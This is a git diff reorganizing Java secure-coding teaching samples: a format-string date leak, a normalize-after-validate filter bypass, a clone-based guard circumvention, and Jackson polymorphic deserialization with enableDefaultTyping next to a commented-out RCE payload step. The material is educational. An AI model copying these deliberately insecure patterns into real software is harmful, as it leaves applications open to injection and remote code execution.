logic"); //$NON-NLS-1$ + System.out.println("Proceed with normal logic"); } } \ No newline at end of file diff --git a/JavaSCR9/src/main/java/grantAccess/GrantAccess.java b/JavaSCR9/src/main/java/grantAccess/GrantAccess.java new file mode 100644 index 0000000..726d504 --- /dev/null +++ b/JavaSCR9/src/main/java/grantAccess/GrantAccess.java @@ -0,0 +1,29 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package grantAccess; + +public class GrantAccess { + public static void displayAccountStatus() { + System.out.println("admin account details"); + } +} diff --git a/JavaSCR9/src/main/java/grantAccess/GrantUserAccess.java b/JavaSCR9/src/main/java/grantAccess/GrantUserAccess.java new file mode 100644 index 0000000..d220873 --- /dev/null +++ b/JavaSCR9/src/main/java/grantAccess/GrantUserAccess.java @@ -0,0 +1,48 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package grantAccess; + +public class GrantUserAccess extends GrantAccess { + public static void displayAccountStatus() { + System.out.println("user account details"); + } + + public static void choose(String username) { + GrantAccess admin = new GrantAccess(); + GrantAccess user = new GrantUserAccess(); + if (username.equals("admin")) { + admin.displayAccountStatus(); + } else { + user.displayAccountStatus(); + } + } + + public static void main(String[] args) { + choose("user"); + choose("admin"); + } + +} + + + diff --git a/JavaSCR/src/main/java/MET11J/MyKey.java b/JavaSCR9/src/main/java/immutableKey/MyKey.java similarity index 96% rename from JavaSCR/src/main/java/MET11J/MyKey.java rename to JavaSCR9/src/main/java/immutableKey/MyKey.java index 1f25dea..2252f05 100644 --- a/JavaSCR/src/main/java/MET11J/MyKey.java +++ b/JavaSCR9/src/main/java/immutableKey/MyKey.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package MET11J; +package immutableKey; import java.io.Serializable; import java.util.Objects; diff --git a/JavaSCR/src/main/java/MET11J/SerialHasher.java b/JavaSCR9/src/main/java/immutableKey/SerialHasher.java similarity index 97% rename from JavaSCR/src/main/java/MET11J/SerialHasher.java rename to JavaSCR9/src/main/java/immutableKey/SerialHasher.java index 957a71c..921c080 100644 --- a/JavaSCR/src/main/java/MET11J/SerialHasher.java +++ b/JavaSCR9/src/main/java/immutableKey/SerialHasher.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package MET11J; +package immutableKey; import java.io.FileInputStream; import java.io.FileOutputStream; diff --git a/JavaSCR/src/main/java/IDS06J/Formatter.java b/JavaSCR9/src/main/java/infoLeak/Formatter.java similarity index 84% rename from JavaSCR/src/main/java/IDS06J/Formatter.java rename to JavaSCR9/src/main/java/infoLeak/Formatter.java index 31593ef..ab25d1a 100644 --- a/JavaSCR/src/main/java/IDS06J/Formatter.java +++ b/JavaSCR9/src/main/java/infoLeak/Formatter.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2025 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,26 +20,26 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package IDS06J; +package infoLeak; import java.util.Calendar; import java.util.GregorianCalendar; class Formatter { - final private static Calendar c = new GregorianCalendar(1995, Calendar.MAY, 23); + final private static Calendar c = new GregorianCalendar(2028, Calendar.MAY, 23); // args[0] should contain the credit card expiration date // but can contain either %1$tm, %1$te or %1$tY as malicious arguments public static void main(String[] args) { - String argument = "%1$tm %1$te,%1$tY"; //$NON-NLS-1$ + String argument = "%1$tm %1$te,%1$tY"; // First argument prints 05 (May), second prints 23 (day) and third - // prints 1995 (year) - System.out.format(argument + " did not match! HINT: It was issued on %1$terd of some month%n", c); //$NON-NLS-1$ + // prints 2028 (year) + System.out.format(argument + " did not match! HINT: It was issued on %1$terd of some month%n", c); // Conversion specifications are now inert - System.out.format("%s did not match! HINT: It was issued on %terd of some month%n", argument, c); //$NON-NLS-1$ + System.out.format("%s did not match! HINT: It was issued on %terd of some month%n", argument, c); } } diff --git a/JavaSCR9/src/main/java/jackpoly/Animal.java b/JavaSCR9/src/main/java/jackpoly/Animal.java new file mode 100644 index 0000000..4e29afc --- /dev/null +++ b/JavaSCR9/src/main/java/jackpoly/Animal.java @@ -0,0 +1,42 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package jackpoly; + +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.annotation.JsonSubTypes; +import com.fasterxml.jackson.annotation.JsonSubTypes.Type; +import com.fasterxml.jackson.annotation.JsonTypeInfo; +import com.fasterxml.jackson.annotation.JsonTypeInfo.As; + +@JsonTypeInfo(use = JsonTypeInfo.Id.NAME, include = As.PROPERTY, property = "@class") +@JsonSubTypes({@Type(value = Lion.class, name = "lion"), @Type(value = Elephant.class, name = "elephant")}) +abstract class Animal { + @JsonProperty("name") + String name; + @JsonProperty("sound") + String sound; + @JsonProperty("type") + String type; + @JsonProperty("endangered") + boolean endangered; +} \ No newline at end of file diff --git a/JavaSCR9/src/main/java/jackpoly/Cat.java b/JavaSCR9/src/main/java/jackpoly/Cat.java new file mode 100644 index 0000000..cb4e32c --- /dev/null +++ b/JavaSCR9/src/main/java/jackpoly/Cat.java @@ -0,0 +1,60 @@ +// The MIT License (MIT) +// +// Copyright (c) 2025 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package jackpoly; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +class Cat extends Animal { + + @JsonProperty + public Byte[] extra_memory; + + @JsonCreator + public Cat(@JsonProperty("name") String name) { + this.name = name; + } + + public String getName() { + return name; + } + + public String getSound() { + return "trumpet"; + } + + public String getType() { + return "herbivorous"; + } + + public boolean isEndangered() { + return false; + } + + @Override + public String toString() { + return "Cat [name=" + name + ", getName()=" + getName() + ", getSound()=" + getSound() + ", getType()=" + getType() + + ", isEndangered()=" + isEndangered() + "]"; + } + +} \ No newline at end of file diff --git a/JavaSCR9/src/main/java/jackpoly/Elephant.java b/JavaSCR9/src/main/java/jackpoly/Elephant.java new file mode 100644 index 0000000..0285c53 --- /dev/null +++ b/JavaSCR9/src/main/java/jackpoly/Elephant.java @@ -0,0 +1,60 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package jackpoly; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +class Elephant extends Animal { + + @JsonProperty + public Byte[] extra_memory; + + @JsonCreator + public Elephant(@JsonProperty("name") String name) { + this.name = name; + } + + public String getName() { + return name; + } + + public String getSound() { + return "trumpet"; + } + + public String getType() { + return "herbivorous"; + } + + public boolean isEndangered() { + return false; + } + + @Override + public String toString() { + return "Elephant [name=" + name + ", getName()=" + getName() + ", getSound()=" + getSound() + ", getType()=" + getType() + + ", isEndangered()=" + isEndangered() + "]"; + } + +} \ No newline at end of file diff --git a/JavaSCR9/src/main/java/jackpoly/Lion.java b/JavaSCR9/src/main/java/jackpoly/Lion.java new file mode 100644 index 0000000..be19439 --- /dev/null +++ b/JavaSCR9/src/main/java/jackpoly/Lion.java @@ -0,0 +1,60 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package jackpoly; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; + +class Lion extends Animal { + + @JsonProperty + private Boolean king = false; + + @JsonCreator + public Lion(@JsonProperty("name") String name) { + this.name = name; + } + + public String getName() { + return name; + } + + public String getSound() { + return "Roar"; + } + + public String getType() { + return "carnivorous"; + } + + public boolean isEndangered() { + return true; + } + + @Override + public String toString() { + return "Lion [name=" + name + ", getName()=" + getName() + ", getSound()=" + getSound() + ", getType()=" + getType() + ", isEndangered()=" + + isEndangered() + "]"; + } + +} \ No newline at end of file diff --git a/JavaSCR9/src/main/java/jackpoly/Polymorphism.java b/JavaSCR9/src/main/java/jackpoly/Polymorphism.java new file mode 100644 index 0000000..d7e5c80 --- /dev/null +++ b/JavaSCR9/src/main/java/jackpoly/Polymorphism.java @@ -0,0 +1,75 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package jackpoly; + +import com.fasterxml.jackson.databind.ObjectMapper; +import javassist.CannotCompileException; +import javassist.NotFoundException; +import org.apache.commons.io.FileUtils; + +import java.io.File; +import java.io.IOException; +import java.lang.reflect.InvocationTargetException; +import java.nio.file.Files; +import java.util.ArrayList; +import java.util.List; + +import static java.nio.charset.StandardCharsets.UTF_8; + +public class Polymorphism { + + private static Object deserialize(ObjectMapper mapper, File f) throws IOException { + mapper.enableDefaultTyping(); + return mapper.readValue(FileUtils.readFileToByteArray(f), Object.class); + } + + public static void main(String[] args) throws IOException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, CannotCompileException, NotFoundException, NoSuchMethodException, ClassNotFoundException { + // let start creating the zoo + Zoo zoo = new Zoo("Samba Wild Park", "Paz"); + Lion lion = new Lion("Simba"); + Elephant elephant = new Elephant("Dumbo"); + List animals = new ArrayList<>(); + animals.add(lion); + animals.add(elephant); + zoo.setAnimals(animals); + + File f = new File("zoo.json"); + + // Serialize + ObjectMapper mapper = new ObjectMapper(); + mapper.writerWithDefaultPrettyPrinter().writeValue(Files.newBufferedWriter(f.toPath(), UTF_8), zoo); + + // Deserialize zoo + zoo = mapper.readValue(FileUtils.readFileToByteArray(f), Zoo.class); + System.out.println(zoo); + +// // Deserialize RCE exploit +// try (PrintWriter out = new PrintWriter("zoo.json", UTF_8.name())) { +// out.println(rcePayload()); +// } +// +// // zoo = mapper.readValue(FileUtils.readFileToByteArray(f), ); +// zoo = (Zoo) deserialize(mapper, f); +// System.out.println(zoo); + } +} diff --git a/JavaSCR9/src/main/java/jackpoly/Zoo.java b/JavaSCR9/src/main/java/jackpoly/Zoo.java new file mode 100644 index 0000000..03b1be2 --- /dev/null +++ b/JavaSCR9/src/main/java/jackpoly/Zoo.java @@ -0,0 +1,54 @@ +// The MIT License (MIT) +// +// Copyright (c) 2022 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package jackpoly; + +import com.fasterxml.jackson.annotation.JsonCreator; +import com.fasterxml.jackson.annotation.JsonProperty; +import com.fasterxml.jackson.annotation.JsonTypeInfo; +import com.fasterxml.jackson.annotation.JsonTypeInfo.As; + +import java.util.List; + +@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS, include = As.PROPERTY, property = "@class") +class Zoo { + + public final String name; + public final String city; + public List animals; + + @JsonCreator + public Zoo(@JsonProperty("name") String name, @JsonProperty("city") String city) { + this.name = name; + this.city = city; + } + + public void setAnimals(List animals) { + this.animals = animals; + } + + @Override + public String toString() { + return "Zoo [name=" + name + ", city=" + city + ", animals=" + animals + "]"; + } + +} \ No newline at end of file diff --git a/JavaSCR/src/main/java/STR01J/TrimString.java b/JavaSCR9/src/main/java/javaChar/TrimString.java similarity index 98% rename from JavaSCR/src/main/java/STR01J/TrimString.java rename to JavaSCR9/src/main/java/javaChar/TrimString.java index 5f2f3a7..ed53317 100644 --- a/JavaSCR/src/main/java/STR01J/TrimString.java +++ b/JavaSCR9/src/main/java/javaChar/TrimString.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package STR01J; +package javaChar; class TrimString { diff --git a/JavaSCR/src/main/java/OBJ07J/MalSubclass.java b/JavaSCR9/src/main/java/noCopy/MalSubclass.java similarity index 86% rename from JavaSCR/src/main/java/OBJ07J/MalSubclass.java rename to JavaSCR9/src/main/java/noCopy/MalSubclass.java index 4eec8be..2988bfd 100644 --- a/JavaSCR/src/main/java/OBJ07J/MalSubclass.java +++ b/JavaSCR9/src/main/java/noCopy/MalSubclass.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ07J; +package noCopy; class MalSubclass extends SensitiveClass implements Cloneable { protected MalSubclass(String filename) { @@ -28,12 +28,12 @@ protected MalSubclass(String filename) { } @Override - public MalSubclass clone() { // Well-behaved clone() method + public MalSubclass clone() { // Well-behaved clone method MalSubclass s = null; try { s = (MalSubclass) super.clone(); } catch (CloneNotSupportedException e) { - System.err.println("not cloneable"); //$NON-NLS-1$ + System.err.println("not cloneable"); } return s; } @@ -42,7 +42,7 @@ public static void main(String[] args) { // Java's cloning feature provides a way to circumvent the sharing // constraint even though SensitiveClass does not implement the // Cloneable interface. - MalSubclass ms1 = new MalSubclass("file.txt"); //$NON-NLS-1$ + MalSubclass ms1 = new MalSubclass("file.txt"); MalSubclass ms2 = ms1.clone(); // Creates a copy by cloning ms1 String s = ms1.get(); // Returns filename System.out.println(s); // Filename is "file.txt" @@ -50,8 +50,7 @@ public static void main(String[] args) { // true, it is possible to alter the first instance ms1 using the // replace() method. ms2.replace(); // Replaces all characters with 'x' - // ms1.get() and ms2.get() will subsequently return filename = - // 'xxxxxxxx' + // ms1.get and ms2.get now return filename = 'xxxxxxxx' ms1.print(); // Filename becomes 'xxxxxxxx' ms2.print(); // Filename becomes 'xxxxxxxx' } diff --git a/JavaSCR/src/main/java/OBJ07J/SensitiveClass.java b/JavaSCR9/src/main/java/noCopy/SensitiveClass.java similarity index 80% rename from JavaSCR/src/main/java/OBJ07J/SensitiveClass.java rename to JavaSCR9/src/main/java/noCopy/SensitiveClass.java index 88d1a12..3987350 100644 --- a/JavaSCR/src/main/java/OBJ07J/SensitiveClass.java +++ b/JavaSCR9/src/main/java/noCopy/SensitiveClass.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2016 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,9 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package OBJ07J; +package noCopy; + +import java.util.Arrays; class SensitiveClass { final private char[] filename; @@ -43,13 +45,10 @@ final String get() { } } - // The replace() method will not replace all elements of the array with - // an x when the shared flag is set. + // The replace method will not fill the array with x when the shared flag is set. final void replace() { if (!this.shared) { - for (int i = 0; i < this.filename.length; i++) { - this.filename[i] = 'x'; - } + Arrays.fill(this.filename, 'x'); } } @@ -57,19 +56,17 @@ final void print() { System.out.println(String.valueOf(this.filename)); } - // Prevent subclasses from being made cloneable by defining a final clone() + // Prevent subclasses from being made cloneable by defining a final clone // method that always fails. - /* - public final sensitiveClass clone() throws CloneNotSupportedException { - throw new CloneNotSupportedException(); - } - */ +// public final Object clone() throws CloneNotSupportedException { +// throw new CloneNotSupportedException(); +// } public static void main(String[] args) { - SensitiveClass ms1 = new SensitiveClass("password.txt"); //$NON-NLS-1$ + SensitiveClass ms1 = new SensitiveClass("password.txt"); String s = ms1.get(); // Returns filename System.out.println(s); // Filename is "file.txt" - ms1.replace(); // Attempts to replaces all characters with 'x' + ms1.replace(); // Attempts to replace all characters with 'x' ms1.print(); // Filename unchanged } } \ No newline at end of file diff --git a/JavaSCR/src/main/java/IDS11J/TagFilter.java b/JavaSCR9/src/main/java/noncharacter/TagFilter.java similarity index 97% rename from JavaSCR/src/main/java/IDS11J/TagFilter.java rename to JavaSCR9/src/main/java/noncharacter/TagFilter.java index 2d1e398..e2bcadb 100644 --- a/JavaSCR/src/main/java/IDS11J/TagFilter.java +++ b/JavaSCR9/src/main/java/noncharacter/TagFilter.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package IDS11J; +package noncharacter; import java.text.Normalizer; import java.text.Normalizer.Form; diff --git a/JavaSCR/src/main/java/IDS01J/ValidateString.java b/JavaSCR9/src/main/java/normalize/ValidateString.java similarity index 91% rename from JavaSCR/src/main/java/IDS01J/ValidateString.java rename to JavaSCR9/src/main/java/normalize/ValidateString.java index a4928b7..9407b93 100644 --- a/JavaSCR/src/main/java/IDS01J/ValidateString.java +++ b/JavaSCR9/src/main/java/normalize/ValidateString.java @@ -1,6 +1,6 @@ // The MIT License (MIT) // -// Copyright (c) 2018 Robert C. Seacord +// Copyright (c) 2022 Robert C. Seacord // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,7 @@ // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. -package IDS01J; +package normalize; import java.text.Normalizer; import java.text.Normalizer.Form; import java.util.regex.Pattern; @@ -32,18 +32,15 @@ private static String NormalizeThenValidate(String input) { // Validate Pattern pattern = Pattern.compile("[<>]"); // Check for angle brackets - String s = input; - Matcher matcher = pattern.matcher(s); + Matcher matcher = pattern.matcher(input); if (matcher.find()) { // Found black listed tag - throw new IllegalStateException(); + throw new IllegalArgumentException(input); } System.out.println("valid input"); // Normalize - s = Normalizer.normalize(s, Form.NFKC); - - return s; + return Normalizer.normalize(input, Form.NFKC); } public static void main(String[] args) { @@ -51,7 +48,7 @@ public static void main(String[] args) { // \uFE64 is normalized to < and \uFE65 is normalized to > using the // NFKC normalization form String input = "\uFE64" + "script" + "\uFE65"; - System.out.println("unnormalized string: " + input); + System.out.println("non-normalized string: " + input); input = NormalizeThenValidate(input); System.out.println("normalized string: " + input); } diff --git a/JavaSCR/src/main/java/obj14j/Leak.class b/JavaSCR9/src/main/java/obj14j/Leak.class similarity index 100% rename from JavaSCR/src/main/java/obj14j/Leak.class rename to JavaSCR9/src/main/java/obj14j/Leak.class diff --git a/JavaSCR9/src/main/java/obj14j/Leak.java b/JavaSCR9/src/main/java/obj14j/Leak.java new file mode 100644 index 0000000..e1d66ca --- /dev/null +++ b/JavaSCR9/src/main/java/obj14j/Leak.java @@ -0,0 +1,40 @@ +// The MIT License (MIT) +// +// Copyright (c) 2019 Robert C. Seacord +// +// Permission is hereby granted, free of charge, to any person obtaining a copy +// of this software and associated documentation files (the "Software"), to deal +// in the Software without restriction, including without limitation the rights +// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +// copies of the Software, and to permit persons to whom the Software is +// furnished to do so, subject to the following conditions: +// +// The above copyright notice and this permission notice shall be included in all +// copies or substantial portions of the Software. +// +// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +// SOFTWARE. + +package obj14j; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; + +class Leak { + private static final int Bx41 = 0x41; + private static final int Bx42 = 0x42; + private static final int Bx43 = 0x43; + private static final int Bx44 = 0x44; + @SuppressWarnings("unused") + private static byte[] keyBytes = new byte[] {Bx41, Bx42, Bx43, Bx44}; + @SuppressWarnings("unused") + private static SecretKeySpec key; + @SuppressWarnings("unused") + private static Cipher cipher; + +} // end class Leak diff --git a/JavaSCR/src/main/java/acc01j/AppClass.java b/JavaSCR9/src/main/java/obj14j/Spy.java similarity index 52% rename from JavaSCR/src/main/java/acc01j/AppClass.java rename to JavaSCR9/src/main/java/obj14j/Spy.java index 290e967..311121c 100644 --- a/JavaSCR/src/main/java/acc01j/AppClass.java +++ b/JavaSCR9/src/main/java/obj14j/Spy.java @@ -1,17 +1,17 @@ // The MIT License (MIT) -// -// Copyright (c) 2018 Robert C. Seacord -// +// +// Copyright (c) 2019 Robert C. Seacord +// // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: -// +// // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. -// +// // THE SOFTWARE IS PROVIDED "AS IS", 